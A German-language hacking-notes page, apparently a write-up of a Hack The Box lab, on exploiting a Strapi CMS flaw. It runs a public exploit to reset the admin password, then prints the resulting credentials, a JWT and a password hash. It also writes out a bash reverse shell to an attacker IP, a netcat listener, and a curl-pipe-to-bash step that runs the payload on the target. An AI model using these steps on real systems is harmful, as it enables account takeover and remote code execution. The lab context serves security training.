> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/strapi-cms-exploitation.md).

# Strapi

Strapi-CMS-RCE-Exploitation, Wiederherstellung von Admin-Credentials, Extraktion von Passwort-Hashes und Reverse-Shell-Notizen.

### Ausnutzung der Strapi-CMS-RCE

Suche nach einer Strapi-Sicherheitslücke mit **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b8cc970e4b5c3bac600ad4f520949c707f450daf%2F%7B35D7BA0B-9172-4F74-B29D-74CA16E134E7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verwenden den Exploit:

```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e09d172df466768f6b347acb5a15148c5c17afa6%2F%7B53021833-6E72-4A79-A8E6-2F19495ACFBD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Dies liefert Administrator-Anmeldedaten.

{% code overflow="wrap" %}

```javascript
[+] Deine E-Mail lautet: admin@horizontall.htb
[+] Deine neuen Anmeldedaten lauten: admin:SuperStrongPassword1 
[+] Dein authentifiziertes JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9f3b1790ca2d9d9a6dce9c51a3ae86f29df6539e%2F%7B8742055F-D2C6-4EB1-93AC-AB361FE38CD5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Rufe den Passwort-Hash für den neu erstellten Benutzer ab:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-accbc0751911c7774923efb59d4cd3f9617cda5d%2F%7B50627C1F-1605-4281-B461-EB4F33924607%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Eine Reverse Shell erhalten

Erstelle einen **index.html** Datei mit einer Reverse-Shell-Payload:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Starte einen Webserver:

```bash
python3 -m http.server 8080
```

Öffne einen Listener:

```bash
nc -nlvp 443
```

Führe dann die Payload auf dem Ziel aus:

```bash
curl http://10.10.14.75:8080 | bash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d05e583fe7fb8ceed6b68341fdaae691a25dff5%2Fimage%20(686).png?alt=media" alt=""><figcaption></figcaption></figure>


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